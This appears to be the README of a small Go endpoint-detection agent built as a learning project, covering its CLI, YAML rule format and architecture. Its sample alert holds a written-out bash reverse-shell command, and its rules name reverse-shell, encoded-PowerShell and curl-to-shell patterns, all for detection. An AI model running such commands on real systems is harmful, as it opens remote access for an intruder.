A lightweight endpoint detection agent in Go. Watches processes, scores them against a YAML rulepack, and writes alerts to a local JSON log.
darkforge-edr is a small, hackable endpoint-detection agent designed as a learning playground for blue-team / detection-engineering concepts:
- Process telemetry — polls
/procon Linux, emitting an event the first time it sees a PID. - Rule engine — YAML rules match against process name and command line (substring or regex). The parent PID is recorded on the alert but is not matchable yet.
- Alert sink — appends JSON-lines to a file, or writes them to stdout with
--out -. - Tiny binary — single Go executable, no runtime deps, runs unprivileged in the foreground.
The point isn't to compete with CrowdStrike. It's to walk the anatomy of an EDR — collector → ruleset → alert pipeline — in a few hundred lines you can read in one sitting. Useful for SOC / blue-team interviews because every layer is inspectable.
go install github.com/forgehk/darkforge-edr/cmd/dfedr@latest
# poll every second against ./rules.yaml, appending to ./alerts.jsonl
dfedr run
# custom rulepack, alert log and poll interval
dfedr run --rules ./rules.yaml --out ./alerts.jsonl --interval 2s
# stream alerts to stdout instead of a file
dfedr run --out -
# tail alerts in another terminal
tail -f alerts.jsonl | jq .dfedr run stays in the foreground and shuts down cleanly on Ctrl-C or SIGTERM.
Sample alert (one per line, JSON):
{
"ts": "2026-05-17T07:42:11Z",
"rule": "suspicious_shell_spawn",
"severity": "high",
"pid": 12031,
"ppid": 1248,
"name": "bash",
"cmdline": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1",
"host": "myhost",
"tags": ["reverse-shell", "mitre:T1059"]
}Rules live in YAML and match against fields on the observed process. Each rule:
rules:
- name: suspicious_shell_spawn
severity: high
when:
name: ["bash", "sh", "zsh", "ksh"]
cmdline_contains: ["/dev/tcp/", "nc -e", "ncat -e", "0>&1"]
tags: ["reverse-shell", "mitre:T1059"]
- name: powershell_encoded_command
severity: high
when:
name: ["powershell.exe", "pwsh.exe"]
cmdline_regex: '(?i)(-e(c|nc|ncodedcommand)\\s+[A-Za-z0-9+/=]{20,})'
tags: ["t1059.001", "obfuscated-command"]
- name: living_off_the_land_curl
severity: medium
when:
name: ["curl", "wget"]
cmdline_contains: ["|sh", "|bash", "|python"]
tags: ["lolbin", "mitre:T1105"]
- name: scheduled_task_recon
severity: low
when:
name: ["crontab", "at", "schtasks.exe"]
cmdline_contains: ["-l", "/query"]
tags: ["mitre:T1053"]Match semantics:
name: exact match against the process basename (any in the list passes).cmdline_contains: any substring in the list passes.cmdline_regex: at least one regex must match (Go RE2 syntax).- All clauses inside
whenare ANDed; if multiple list-style clauses, each requires at least one match.
┌──────────────────────────┐
│ process collector │ → /proc on Linux. macOS and Windows
│ (poll every 1s) │ collectors are not written yet.
└────────────┬─────────────┘
│ events: newly-seen PIDs
▼
┌──────────────────────────┐
│ rule engine │ ← rules.yaml
│ name / cmdline / regex │
└────────────┬─────────────┘
│ matched events
▼
┌──────────────────────────┐
│ alert sink │ → JSON-lines file, or stdout
└──────────────────────────┘
Each layer is a Go package with a small interface, so swapping the collector or sink is a one-file change.
git clone https://github.com/forgehk/darkforge-edr
cd darkforge-edr
go build ./cmd/dfedr
go test ./...CI runs gofmt, go vet and the tests with the race detector on Go 1.22 and the current release on every push, then starts the built binary against the shipped rules.yaml to make sure the default rule pack still loads.
Cross-compile for another OS:
GOOS=linux GOARCH=amd64 go build -o dist/dfedr-linux-amd64 ./cmd/dfedr
GOOS=darwin GOARCH=arm64 go build -o dist/dfedr-darwin-arm64 ./cmd/dfedrI wanted to understand what's actually inside an EDR rather than just reading vendor data sheets. This agent is the result — a clean, readable scaffold I can extend with new collectors (file events, network connects, syscalls via eBPF) over time.
It's also a good interview artifact for SOC / Blue Team roles because every part is small enough to walk through line by line.
- /proc-based process collector (Linux)
- YAML rule engine with name/cmdline/regex matching
- JSON-lines alert sink
- Tag system for MITRE ATT&CK mapping
-
dfedrCLI (run,version) - HTTP collector sink
- Parent-child chain matching in rules
- File-create / file-modify collector (fanotify on Linux)
- Network-connect collector
- eBPF syscall hooks
- macOS / Windows process collectors
- Web dashboard (Next.js, lives in a separate repo)
- Signed releases via GitHub Actions
Built by @forgehk — DarkForge AI